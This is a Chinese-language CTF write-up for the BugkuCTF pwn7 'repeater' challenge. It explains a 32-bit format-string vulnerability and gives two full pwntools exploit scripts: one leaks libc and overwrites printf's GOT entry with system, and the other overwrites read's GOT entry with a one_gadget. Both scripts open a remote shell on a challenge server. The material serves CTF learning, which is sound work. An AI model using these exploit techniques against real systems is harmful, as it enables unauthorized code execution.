知识点

解题流程

方法一

查看文件类型:

32位文件

查看保护机制

只开启了NX

32位IDA打开
伪码:

0x70=112
0x64=100
发现该题目为典型的格式字符串漏洞。

解题思路

此题的大概思路如下:
1、找到libc_start_main在栈内的偏移,使用%p暴露该地址
2、利用LibcSearcher猜测使用的libc,算出libc基址
3、计算出此libc的system地址
4、把prinf的got表改为system地址
5、执行system(’/bin/sh’)

具体调试

执行gdb pwn7调试程序
使用b printf在printf处下断点
输入r执行程序
程序提示用户输入
输入123456回车
此时程序运行到printf语句停止

pwndbg调试

输入stack 60命令查看栈情况
可以看到,在0xffffcf18处为之前输入的123456
在0xffffcf8c处为libc_start_main+247
使用fmtarg 0xffffcf8c算出偏移,此处知道了为%35$p
使用fmtarg属于懒人做法,需安装在gdb里。

具体方法

exp:

#coding=utf-8
from pwn import *
import sys
#不清楚libc可以用这个
from LibcSearcher import *
context.log_level="debug"
context.terminal = ['gnome-terminal','-x','sh','-c']#本机环境
if sys.argv[1] == '0':p = process('./pwn7')#此处使用ldd pwn7查看本机使用啥libclibc = ELF("/lib/i386-linux-gnu/libc.so.6")
#远程环境
elif sys.argv[1] == '1':p = remote("114.67.246.176",19888)#直接采用本地的libc,尝试失败,使用了LibcSearcher#libc = ELF("/lib/i386-linux-gnu/libc.so.6")elf=ELF('./pwn7')
printf_GOT=elf.got['printf']
log.success('printf_GOT'+hex(printf_GOT))#输入%35$p,暴露libc_start_main的地址
p.sendafter('repeater','%35$p')
p.recvuntil('0x',drop=True)
libc_start_main=int(p.recv(8),16)-247#搜索可能的libc
libc=LibcSearcher("__libc_start_main", libc_start_main)
libc_base=libc_start_main-libc.dump('__libc_start_main')   #libc基址
log.success('libc_base'+hex(libc_base))
printf=libc.dump('printf')+libc_base   #此libc的printf地址
log.success('printf'+hex(printf))
system=libc.dump('system')+libc_base   #此libc的system地址
log.success('system'+hex(system))#格式字符串漏洞套路 #由于64位下用户可见的内存地址高位都带有\x00(64位地址共16个16进制数),分段
ch0=system&0xffff
ch1=(((system>>16)&0xffff)-ch0)&0xffff
payload="%"+str(ch0)+"c%16$hn"
payload+="%"+str(ch1)+"c%17$hn"
payload=payload.ljust(40,'a')#改写printf的got表,把prinf的got表改为system地址
payload+=p32(printf_GOT)
payload+=p32(printf_GOT+2)
p.send(payload)
p.recvline()
#这时已经改写好了,直接system('/bin/sh')
p.send('/bin/sh\x00')
p.interactive()

方法二(需要加载libc版本)

由于方法二我不知道大佬加载的libc版本是哪一个,所以没有成功实现

gdb里调试到printf(buf)

如图 :
我通过read输入的是flag 容易看出偏移是 0x18/4 = 6
(64位里偏移是6 + offset_rsp/8 32位里偏移则为offset_esp/4 )
或者直接经典payload测 :
AAAA%p.%p.%p.%p.%p.%p.%p.%p.
然后数数
测出偏移后
第一步 : 先通过printf(buf) 泄露libc
payload = p32(read_got) + b"%6$s"

我这个是泄露的read的地址
泄露地址后通过 https://libc.blukat.me/下载相应版本的libc.so(当然也可以用LibcSearcher然后改写got表为system的,再输入bin/sh字符串,这里为one_gadget的打法)

第二步 : 改写read的got表为one_gadget的地址

完整exp如下 :

from pwn import*
from LibcSearcher import LibcSearcher
context.log_level = "debug"
elf = ELF("./pwn")
libc = ELF("./libc.so")
io = remote("114.67.246.176","19888")
read_got = elf.got["read"]
pd = b"%6$s" + p32(read_got)
io.recvuntil("Do you know repeater?\n")
io.send(pd)
read_addr = u32(io.recv(8)[-4:])   #取后四位字节
print(hex(read_addr))
libc_base = read_addr - libc.sym["read"]   #libc.sym['read']会返回read()在libc里面的偏移
og = [0x3a822,0x3a829,0x5f075,0x5f076]
one_gadget = libc_base + og[3]
payload = fmtstr_payload(6,{read_got : one_gadget},write_size = "byte",)
io.send(payload)
io.interactive()

运行脚本
得到flag{ec228e717282513a}

io.recv(8)[-4:]:取后四位字节

可能有小伙伴对于最后的fmtstr_payload有点疑惑:
fmtstr_payload 是pwntools里面的一个小工具 ,简化格式化字符串payload的构造
fmtstr_payload(offset, writes, numbwritten=0, write_size=‘byte’)
第一个参数表示格式化字符串的偏移;
第二个参数表示需要利用%n写入的数据,采用字典形式,我们要将printf的GOT数据改为system函数地址,就写成{printfGOT: systemAddress};本题是将0804a048处改为0x2223322
第三个参数表示已经输出的字符个数,这里没有,为0,采用默认值即可;
第四个参数表示写入方式,是按字节(byte)、按双字节(short)还是按四字节(int),对应着hhn、hn和n,默认值是byte,即按hhn写。
fmtstr_payload函数返回的就是payload
fmstr_payload 的官方文档 : https://docs.pwntools.com/en/stable/fmtstr.html

BugkuCTF-PWN题pwn7-repeater详细讲解多解法相关推荐

  1. C语言答案解析,C语言题库带详细讲解答案解析.doc

    C语言题库带详细讲解答案解析.doc 下载提示(请认真阅读)1.请仔细阅读文档,确保文档完整性,对于不预览.不比对内容而直接下载带来的问题本站不予受理. 2.下载的文档,不会出现我们的网址水印. 3. ...

  2. PWN题[强网先锋]orw超详细讲解(多解法)

    知识点 构造一段shellcode的作用就是为了在缓冲区溢出时将shellcode的地址覆盖正常的返回地址. \x00 截断符 shellcode里出现\x00就会从其截断,所以构造shellcode ...

  3. BugkuCTF-PWN题pwn6-printf超详细讲解(未提供Libc版本)

    前言 此题是我根据某大佬wp(从Libc官网下载的Libc)解出的,我在他的exp脚本基础上进行修改通过LibcSearcher搜索可利用的Libc,因为这道题在Bugku未提供Libc版本 有些部分 ...

  4. BugkuCTF-PWN题pwn3-read_note超详细讲解

    知识点 puts()的特性 , puts()会一直输出某地址的数据,直到遇到 \x00 Canary最低位为\x00(截断符) \x 和 0x 的区别: 区别不大,都是把数按16进制输出. 1.0x ...

  5. BugkuCTF-PWN题pwn5-overflow2超详细讲解

    知识点 setvbuf: setvbuf函数的功能: 如果你的内存足够大,可以把文件IO的BUF设置大一些,这样每次你用 fopen/fread/fwrite/fscanf/fprintf语句的时候, ...

  6. BugkuCTF-PWN题canary超详细讲解

    知识点 小端序说明,数据在内存里是如何存储的?下表里数据都为16进制 解题流程 题目Hint:更新 LibcSeacher 的 libc-database checksec查看保护机制 存在Canar ...

  7. BugkuCTF-PWN题pwn2-overflow超详细讲解

    解题思路 1)计算出get_shell_的地址偏移量 2)算出来之后就直接溢出到后门函数 知识点 x64函数调用规则 解题之前我们先学下linux x64的函数调用规则. x64机器在调用某个函数前, ...

  8. BugkuCTF刷题 pwn

    唉,觉得自己TCL,栈溢出知识点差不多都会了,可是题目做不出来啊啊啊啊!缺少锻炼吧,这两天把BugkuCTF上面的pwn题做一下吧... pwn1 只给了连接 第一次,才50分,想来不会太难,连上去 ...

  9. 2023年美赛C题Wordle预测问题一建模及Python代码详细讲解

    相关链接 (1)2023年美赛C题Wordle预测问题一建模及Python代码详细讲解 (2)2023年美赛C题Wordle预测问题二建模及Python代码详细讲解 (3)2023年美赛C题Wordl ...

最新文章

  1. 如何理解react中的super(),super(props)
  2. 【bzoj2186】[Sdoi2008]沙拉公主的困惑 欧拉函数
  3. C语言基础-基本算法
  4. Boost:opencl测试的程序
  5. opencv问题解析
  6. windows不能在本地启动OracleDBConsole
  7. 特斯拉车顶维权女车主称被恐吓 将公布特斯拉提供的不完整数据
  8. 开发环境、测试环境、生产环境
  9. [转]wxParse-微信小程序富文本解析组件
  10. avformat_open_input 支持的参数
  11. 保护你的端口(转自赛迪网)
  12. 系列学习 Gateway 之第 1 篇 —— SpringCloud Gateway 简介,Gateway 入门实例
  13. Eclipse中source folder、folder、package的区别?
  14. java 字符串编码转换的实现方法
  15. 用BeautifulSoup爬取豆瓣的电影排行榜,并用xlwt把数据保存成excel
  16. Event Handing guide for iOS
  17. 利用npn开关电路,将stm32 IO口输出的0-3.3v的pwm波转换为0-5v的pwm波
  18. MACBOOK 连接不上wifi的解决办法
  19. python读取微博文本数据,对微博文本进行分句(分句主要以特定的标点符号为主)。...
  20. pythongui界面实现爬取b站弹幕_Python爬虫自动化爬取b站实时弹幕实例方法

热门文章

  1. 那些年,我在阿里当数据开发
  2. 为什么服务端程序都需要先 listen 一下?
  3. Chrome 96 又更新了 5 个巨巨巨好用的功能
  4. AIoT时代的新思维
  5. 为普及再助一把力!《2021年中国低代码/无代码市场研究报告》正式发布
  6. Cloud Native Infrastructures Meetup 北京 | 活动安排
  7. 一行 Python 代码能实现这么多丧心病狂的功能?(代码可复制)
  8. 程序员:站在“自学”鄙视链顶端的王者
  9. “根本就不需要 Kafka 这样的大型分布式系统!”
  10. 揭密|淘宝服务端千万级高并发架构的演进之路